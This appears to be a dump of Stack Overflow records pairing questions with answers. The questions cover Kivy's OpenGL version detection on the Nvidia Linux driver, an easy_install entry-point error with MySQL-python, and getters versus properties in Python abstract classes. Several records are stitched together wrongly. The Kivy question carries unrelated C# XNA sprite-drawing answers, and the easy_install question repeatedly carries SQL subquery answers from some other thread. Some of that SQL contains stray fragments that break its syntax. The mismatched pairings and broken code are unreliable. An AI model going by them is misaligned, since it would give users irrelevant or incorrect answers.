24,351,087
I'm currently in the process of finding a nice GUI framework for my new project - and Kivy looks quite good. There are many questions here (like [this one](https://stackoverflow.com/questions/15281239/kivy-hello-world-not-working)) about Kivy requiring OpenGL >2.0 (not accepting 1.4) and problems arising from that. As I understood, it's the *graphics drivers* thing to provide a decent OpenGL version. I'm concerned what problems I'll have deploying my app to users having a certain configuration, that they will not be willing or able to have OpenGL >2.0 on their desktop. First off, deploying on Windows in regard to OpenGL would not be a problem.. Good support there. *But* I'm specifially concerned about people (like me) having an Ubuntu installation (14.4 LTS) with the latest *Nvidia binary driver* from Ubuntu. It's just the best driver currently, having the best performance (still far superior to nouveau IMHO).. And it seems (or am I wrong? that would be great) that this driver only provides OpenGL 1.4 ``` name of display: :0 display: :0 screen: 0 direct rendering: Yes server glx vendor string: NVIDIA Corporation server glx version string: 1.4 server glx extensions: [...] ``` So my question is two-fold 1. I'm I maybe wrong the nvidia binary driver only supporting OpenGL 1.4? 2. If yes, doesn't that exclude many users having a quite common configuration (all Ubuntu users using Nvidia cards) from people able to use my Kivy application? Any way to circumvent that? I know OpenGL 1.4 is silly old stuff, but the driver is current and the hardware too (GTX 770, quite a beast..).. Installed driver: ``` root@host:/home/user# apt-cache policy nvidia-331-updates nvidia-331-updates: Installed: 331.38-0ubuntu7 Candidate: 331.38-0ubuntu7 Version table: ``` Nvidia information: ``` Version: 331.38 Release Date: 2014.1.13 ``` I really hope I'm wrong.. **EDIT** There has been said 1.4 is the GLX version, *not* the OpenGL version.. I've seen that now - but I thought it's 1.4 because when I try to execute an example from the dist, I get this error: ``` vagrant@ubuntu-14:/usr/local/share/kivy-examples/guide/firstwidget$ python 1_skeleton.py [WARNING] [Config ] Older configuration version detected (0 instead of 10) [WARNING] [Config ] Upgrading configuration in progress. [INFO ] [Logger ] Record log in /home/vagrant/.kivy/logs/kivy_14-06-28_0.txt [INFO ] Kivy v1.8.1-dev [INFO ] [Python ] v2.7.6 (default, Mar 22 2014, 22:59:56) [GCC 4.8.2] [INFO ] [Factory ] 169 symbols loaded [INFO ] [Image ] Providers: img_tex, img_dds, img_pygame, img_gif (img_pil ignored) [INFO ] [Window ] Provider: pygame(['window_egl_rpi'] ignored) libGL error: failed to load driver: swrast [INFO ] [GL ] OpenGL version <1.4 (2.1.2 NVIDIA 331.38)> [INFO ] [GL ] OpenGL vendor <NVIDIA Corporation> [INFO ] [GL ] OpenGL renderer <GeForce GTX 770/PCIe/SSE2> [INFO ] [GL ] OpenGL parsed version: 1, 4 [CRITICAL] [GL ] Minimum required OpenGL version (2.0) NOT found! OpenGL version detected: 1.4 Version: 1.4 (2.1.2 NVIDIA 331.38) Vendor: NVIDIA Corporation Renderer: GeForce GTX 770/PCIe/SSE2 Try upgrading your graphics drivers and/or your graphics hardware in case of problems. ``` So it actually parses my OpenGL version as 1.4.. **EDIT 2**: I'm running Kivy from github (master branch) as of today (28th june), so that should be fairly new ;-)
2014/06/22
[ "https://Stackoverflow.com/questions/24351087", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3762521/" ]
As mentioned in the comment, I am not going to solve every problem. But the main errors. Let the player be responsible for its position, not the game. Furthermore, I would make the player responsible for drawing itself, but that goes a bit too far for this answer. The following code should at least work. ``` public class Player : Microsoft.Xna.Framework.GameComponent { public Vector2 Pos { get; set; } public Player(Game game) : base(game) { this.Pos = new Vector2(50, 50); } public override void Initialize() { base.Initialize(); } public override void Update(GameTime gameTime) { var ms = Mouse.GetState(); Pos.X = ms.X; Pos.Y = ms.Y; base.Update(gameTime); } } ``` Then use the player in your game: ``` public class RPG : Microsoft.Xna.Framework.Game { GraphicsDeviceManager graphics; SpriteBatch spriteBatch; Texture2D PlayerTex; Player player; public RPG() { graphics = new GraphicsDeviceManager(this); Content.RootDirectory = "Content"; IsMouseVisible = true; player = new Player(this); Components.Add(player); } protected override void Initialize() { base.Initialize(); } protected override void LoadContent() { spriteBatch = new SpriteBatch(GraphicsDevice); PlayerTex = Content.Load<Texture2D>("testChar"); } protected override void UnloadContent() { } protected override void Update(GameTime gameTime) { if ( GamePad.GetState(PlayerIndex.One) .Buttons.Back == ButtonState.Pressed ) this.Exit(); base.Update(gameTime); } protected override void Draw(GameTime gameTime) { GraphicsDevice.Clear(Color.White); spriteBatch.Begin(); spriteBatch.Draw(PlayerTex, player.Pos, Color.White); spriteBatch.End(); base.Draw(gameTime); } } ``` I have removed the texture's size. Don't know if you really need this. If so, you can let `Player` expose a Rectangle, not just a `Vector2`.
The key solution which Nico included is just that you using the original rectangle coordinates you made when you draw: ``` Rectangle playerPos = new Rectangle( Convert.ToInt32(Player.Pos.X), Convert.ToInt32(Player.Pos.Y), 32, 32); ``` Here you make the rectangle using the players CURRENT starting time position. Then you ALWAYS draw based on this rectangle you made ages ago and never updated: ``` spriteBatch.Draw(PlayerTex, playerPos, Color.White); ``` The right way as Nico mentioned is just to change the draw to this: ``` playerPos = new Rectangle( Convert.ToInt32(Player.Pos.X), Convert.ToInt32(Player.Pos.Y), 32, 32); spriteBatch.Draw(PlayerTex, playerPos, Color.White); ``` Now you will be drawing at a new place every time. There are better ways to do this (like what nico did) but here is the core idea.
18,584,055
I've got an Ubuntu 12.04 x64 Server edition VM that I'm running python2.7 on and trying to install the MySQLdb package via the command (I've already got `easy_install` installed and working): ``` $ sudo easy_install MySQL-python ``` but I get the following traceback error when easy\_install tries to compile: ``` Traceback (most recent call last): File "/usr/local/bin/easy_install", line 9, in <module> load_entry_point('distribute', 'console_scripts', 'easy_install')() File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 357, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 2393, in load_entry_point raise ImportError("Entry point %r not found" % ((group,name),)) ImportError: Entry point ('console_scripts', 'easy_install') not found ``` My `/usr/local/lib/python2.7/dist-packages` shows the following packages installed: * distribute-0.7.3-py2.7.egg * easy-install.pth * pyinotify-0.9.4-py2.7.egg * setuptools-1.1-py2.7.egg * setuptools.pth I'm not really sure where to go from here, or why I'm even getting this error. I also wasn't sure if this question would be better suited for ServerFault; but, since I ran into this issue while working on some code, I thought maybe some other coders had ran into it before too...(seemed logical at the time)
2013/09/03
[ "https://Stackoverflow.com/questions/18584055", "https://Stackoverflow.com", "https://Stackoverflow.com/users/281488/" ]
You need to use subquery : ``` SELECT ( SELECT SUM(`total_amount`) FROM `civicrm_contribution` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) - ( SELECT SUM(`fee_amount`) FROM `civicrm_participant` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) As RemainingPoints ```
You should limit the result of the subquery to 1 otherwise it will result in an error, the best way is to match the name using `'='` instead of `'like'` ``` SELECT ( SELECT SUM(`total_amount`) FROM `civicrm_contribution` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' limit 1 ) AS contact_id) ) - ( SELECT SUM(`fee_amount`) FROM `civicrm_participant` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' limit 1 ) AS contact_id) ) As RemainingPoints ```
18,584,055
I've got an Ubuntu 12.04 x64 Server edition VM that I'm running python2.7 on and trying to install the MySQLdb package via the command (I've already got `easy_install` installed and working): ``` $ sudo easy_install MySQL-python ``` but I get the following traceback error when easy\_install tries to compile: ``` Traceback (most recent call last): File "/usr/local/bin/easy_install", line 9, in <module> load_entry_point('distribute', 'console_scripts', 'easy_install')() File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 357, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 2393, in load_entry_point raise ImportError("Entry point %r not found" % ((group,name),)) ImportError: Entry point ('console_scripts', 'easy_install') not found ``` My `/usr/local/lib/python2.7/dist-packages` shows the following packages installed: * distribute-0.7.3-py2.7.egg * easy-install.pth * pyinotify-0.9.4-py2.7.egg * setuptools-1.1-py2.7.egg * setuptools.pth I'm not really sure where to go from here, or why I'm even getting this error. I also wasn't sure if this question would be better suited for ServerFault; but, since I ran into this issue while working on some code, I thought maybe some other coders had ran into it before too...(seemed logical at the time)
2013/09/03
[ "https://Stackoverflow.com/questions/18584055", "https://Stackoverflow.com", "https://Stackoverflow.com/users/281488/" ]
You need to use subquery : ``` SELECT ( SELECT SUM(`total_amount`) FROM `civicrm_contribution` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) - ( SELECT SUM(`fee_amount`) FROM `civicrm_participant` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) As RemainingPoints ```
This could help you ``` SELECT @s:=1+1 ,@s + 4,@s-1 ``` o/p -@s:=1+1|@s + 4 | @s-1 ``` 2 | 6| 1 ```
18,584,055
I've got an Ubuntu 12.04 x64 Server edition VM that I'm running python2.7 on and trying to install the MySQLdb package via the command (I've already got `easy_install` installed and working): ``` $ sudo easy_install MySQL-python ``` but I get the following traceback error when easy\_install tries to compile: ``` Traceback (most recent call last): File "/usr/local/bin/easy_install", line 9, in <module> load_entry_point('distribute', 'console_scripts', 'easy_install')() File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 357, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 2393, in load_entry_point raise ImportError("Entry point %r not found" % ((group,name),)) ImportError: Entry point ('console_scripts', 'easy_install') not found ``` My `/usr/local/lib/python2.7/dist-packages` shows the following packages installed: * distribute-0.7.3-py2.7.egg * easy-install.pth * pyinotify-0.9.4-py2.7.egg * setuptools-1.1-py2.7.egg * setuptools.pth I'm not really sure where to go from here, or why I'm even getting this error. I also wasn't sure if this question would be better suited for ServerFault; but, since I ran into this issue while working on some code, I thought maybe some other coders had ran into it before too...(seemed logical at the time)
2013/09/03
[ "https://Stackoverflow.com/questions/18584055", "https://Stackoverflow.com", "https://Stackoverflow.com/users/281488/" ]
This should solve your problem : ``` SELECT ( SELECT SUM(`total_amount`) FROM `civicrm_contribution` WHERE `contact_id` in (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) - ( SELECT SUM(`fee_amount`) FROM `civicrm_participant` WHERE `contact_id` in (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) As RemainingPoints ```
You should limit the result of the subquery to 1 otherwise it will result in an error, the best way is to match the name using `'='` instead of `'like'` ``` SELECT ( SELECT SUM(`total_amount`) FROM `civicrm_contribution` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' limit 1 ) AS contact_id) ) - ( SELECT SUM(`fee_amount`) FROM `civicrm_participant` WHERE `contact_id`= (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' limit 1 ) AS contact_id) ) As RemainingPoints ```
18,584,055
I've got an Ubuntu 12.04 x64 Server edition VM that I'm running python2.7 on and trying to install the MySQLdb package via the command (I've already got `easy_install` installed and working): ``` $ sudo easy_install MySQL-python ``` but I get the following traceback error when easy\_install tries to compile: ``` Traceback (most recent call last): File "/usr/local/bin/easy_install", line 9, in <module> load_entry_point('distribute', 'console_scripts', 'easy_install')() File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 357, in load_entry_point return get_distribution(dist).load_entry_point(group, name) File "/usr/local/lib/python2.7/dist-packages/setuptools-1.1-py2.7.egg/pkg_resources.py", line 2393, in load_entry_point raise ImportError("Entry point %r not found" % ((group,name),)) ImportError: Entry point ('console_scripts', 'easy_install') not found ``` My `/usr/local/lib/python2.7/dist-packages` shows the following packages installed: * distribute-0.7.3-py2.7.egg * easy-install.pth * pyinotify-0.9.4-py2.7.egg * setuptools-1.1-py2.7.egg * setuptools.pth I'm not really sure where to go from here, or why I'm even getting this error. I also wasn't sure if this question would be better suited for ServerFault; but, since I ran into this issue while working on some code, I thought maybe some other coders had ran into it before too...(seemed logical at the time)
2013/09/03
[ "https://Stackoverflow.com/questions/18584055", "https://Stackoverflow.com", "https://Stackoverflow.com/users/281488/" ]
This should solve your problem : ``` SELECT ( SELECT SUM(`total_amount`) FROM `civicrm_contribution` WHERE `contact_id` in (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) - ( SELECT SUM(`fee_amount`) FROM `civicrm_participant` WHERE `contact_id` in (SELECT `id` FROM `civicrm_contact` WHERE `first_name` LIKE 'test2' ) AS contact_id) ) As RemainingPoints ```
This could help you ``` SELECT @s:=1+1 ,@s + 4,@s-1 ``` o/p -@s:=1+1|@s + 4 | @s-1 ``` 2 | 6| 1 ```
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
> > Note: I've considered properties, but I don't think they're a cleaner solution. > > > [But they are.](http://docs.python.org/library/functions.html#property) By using properties, you'll have the class signature you want, while being able to use the property as an attribute itself. ``` def _get_id(self): return self._id def _set_id(self, newid): self._id = newid ``` Is likely similar to what you have now. To placate your team, you'd just need to add the following: ``` id = property(_get_id, _set_id) ``` You could also use `property` as a decorator: ``` @property def id(self): return self._id @id.setter def id(self, newid): self._id = newid ``` And to make it readonly, just leave out `set_id`/the `id.setter` bit.
[Only behind a property.](http://www.archive.org/details/SeanKellyRecoveryfromAddiction)
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
You've missed the point. It isn't the lack of encapsulation that removes the need for accessors, it's the fact that, by changing from a direct attribute to a property, you can add an accessor at a later time without changing the published interface in any way. In many other languages, if you expose an attribute as public and then later want to wrap some code round it on access or mutation then you have to change the interface and anyone using the code has at the very least to recompile and possibly to edit their code also. Python isn't like that: you can flip flop between attribute or property just as much as you want and no code that uses the class will break.
[Only behind a property.](http://www.archive.org/details/SeanKellyRecoveryfromAddiction)
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
[Only behind a property.](http://www.archive.org/details/SeanKellyRecoveryfromAddiction)
The discussion already ended a year ago, but this snippet seemed telltale, it's worth discussing: > > However, an implementation of the > class that satisfies all of the > abstract methods will almost certainly > fail, because the author won't know > that they need attributes called > 'author' and 'date' and so on, so code > that tries to access Revision.author > will throw an exception. > > > Uh, something is deeply wrong. (What S. Lott said, minus the personal comments). If these are required members, aren't they referenced (if not required) in the constructor, and defined by docstring? or at very least, as required args of methods, and again documented? How could users of the class **not** know what the required members are? To be the devil's advocate, what if your constructor(s) requires you to supply all the members that will/may be required, what issue does that cause? Also, are you checking the parameters when passed, and throwing informative exceptions? (The ideological argument of accessor-vs-property is a sidebar. Properties are preferable but I don't think that's the issue with your class design.)
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
> > Note: I've considered properties, but I don't think they're a cleaner solution. > > > [But they are.](http://docs.python.org/library/functions.html#property) By using properties, you'll have the class signature you want, while being able to use the property as an attribute itself. ``` def _get_id(self): return self._id def _set_id(self, newid): self._id = newid ``` Is likely similar to what you have now. To placate your team, you'd just need to add the following: ``` id = property(_get_id, _set_id) ``` You could also use `property` as a decorator: ``` @property def id(self): return self._id @id.setter def id(self, newid): self._id = newid ``` And to make it readonly, just leave out `set_id`/the `id.setter` bit.
> > "they should be able to do so just by looking at the abstract class" > > > Don't know what this should be true. A "programmer's guide", a "how to extend" document, plus some training seems appropriate to me. > > "the author won't know that they need attributes called 'author' and 'date' and so on". > > > In that case, the documentation isn't complete. Perhaps the abstract class needs a better docstring. Or a "programmer's guide", or a "how to extend" document. Also, it doesn't seem very difficult to (1) document these attributes in the docstring and (2) provide default values in the `__init__` method. What's wrong with providing extra support for programmers? It sounds like you have a social problem, not a technical one. Writing code to solve a social problem seems like a waste of time and money.
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
You've missed the point. It isn't the lack of encapsulation that removes the need for accessors, it's the fact that, by changing from a direct attribute to a property, you can add an accessor at a later time without changing the published interface in any way. In many other languages, if you expose an attribute as public and then later want to wrap some code round it on access or mutation then you have to change the interface and anyone using the code has at the very least to recompile and possibly to edit their code also. Python isn't like that: you can flip flop between attribute or property just as much as you want and no code that uses the class will break.
> > "they should be able to do so just by looking at the abstract class" > > > Don't know what this should be true. A "programmer's guide", a "how to extend" document, plus some training seems appropriate to me. > > "the author won't know that they need attributes called 'author' and 'date' and so on". > > > In that case, the documentation isn't complete. Perhaps the abstract class needs a better docstring. Or a "programmer's guide", or a "how to extend" document. Also, it doesn't seem very difficult to (1) document these attributes in the docstring and (2) provide default values in the `__init__` method. What's wrong with providing extra support for programmers? It sounds like you have a social problem, not a technical one. Writing code to solve a social problem seems like a waste of time and money.
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
> > "they should be able to do so just by looking at the abstract class" > > > Don't know what this should be true. A "programmer's guide", a "how to extend" document, plus some training seems appropriate to me. > > "the author won't know that they need attributes called 'author' and 'date' and so on". > > > In that case, the documentation isn't complete. Perhaps the abstract class needs a better docstring. Or a "programmer's guide", or a "how to extend" document. Also, it doesn't seem very difficult to (1) document these attributes in the docstring and (2) provide default values in the `__init__` method. What's wrong with providing extra support for programmers? It sounds like you have a social problem, not a technical one. Writing code to solve a social problem seems like a waste of time and money.
The discussion already ended a year ago, but this snippet seemed telltale, it's worth discussing: > > However, an implementation of the > class that satisfies all of the > abstract methods will almost certainly > fail, because the author won't know > that they need attributes called > 'author' and 'date' and so on, so code > that tries to access Revision.author > will throw an exception. > > > Uh, something is deeply wrong. (What S. Lott said, minus the personal comments). If these are required members, aren't they referenced (if not required) in the constructor, and defined by docstring? or at very least, as required args of methods, and again documented? How could users of the class **not** know what the required members are? To be the devil's advocate, what if your constructor(s) requires you to supply all the members that will/may be required, what issue does that cause? Also, are you checking the parameters when passed, and throwing informative exceptions? (The ideological argument of accessor-vs-property is a sidebar. Properties are preferable but I don't think that's the issue with your class design.)
3,292,631
I realize that in most cases, it's preferred in Python to just access attributes directly, since there's no real concept of encapsulation like there is in Java and the like. However, I'm wondering if there aren't any exceptions, particularly with abstract classes that have disparate implementations. Let's say I'm writing a bunch of abstract classes (because I am) and that they represent things having to do with version control systems like repositories and revisions (because they do). Something like an SvnRevision and an HgRevision and a GitRevision are very closely semantically linked, and I want them to be able to do the same things (so that I can have code elsewhere that acts on any kind of Repository object, and is agnostic of the subclass), which is why I want them to inherit from an abstract class. However, their implementations vary considerably. So far, the subclasses that have been implemented share a lot of attribute names, and in a lot of code outside of the classes themselves, direct attribute access is used. For example, every subclass of Revision has an author attribute, and a date attribute, and so on. However, the attributes aren't described anywhere in the abstract class. This seems to me like a very fragile design. If someone wants to write another implementation of the Revision class, I feel like they should be able to do so just by looking at the abstract class. However, an implementation of the class that satisfies all of the abstract methods will almost certainly fail, because the author won't know that they need attributes called 'author' and 'date' and so on, so code that tries to access Revision.author will throw an exception. Probably not hard to find the source of the problem, but irritating nonetheless, and it just feels like an inelegant design. My solution was to write accessor methods for the abstract classes (get\_id, get\_author, etc.). I thought this was actually a pretty clean solution, since it eliminates arbitrary restrictions on how attributes are named and stored, and just makes clear what data the object needs to be able to access. Any class that implements all of the methods of the abstract class will work... that feels right. Anyways, the team I'm working with hates this solution (seemingly for the reason that accessors are unpythonic, which I can't really argue with). So... what's the alternative? Documentation? Or is the problem I'm imagining a non-issue? Note: I've considered properties, but I don't think they're a cleaner solution.
2010/07/20
[ "https://Stackoverflow.com/questions/3292631", "https://Stackoverflow.com", "https://Stackoverflow.com/users/262271/" ]
> > Note: I've considered properties, but I don't think they're a cleaner solution. > > > [But they are.](http://docs.python.org/library/functions.html#property) By using properties, you'll have the class signature you want, while being able to use the property as an attribute itself. ``` def _get_id(self): return self._id def _set_id(self, newid): self._id = newid ``` Is likely similar to what you have now. To placate your team, you'd just need to add the following: ``` id = property(_get_id, _set_id) ``` You could also use `property` as a decorator: ``` @property def id(self): return self._id @id.setter def id(self, newid): self._id = newid ``` And to make it readonly, just leave out `set_id`/the `id.setter` bit.
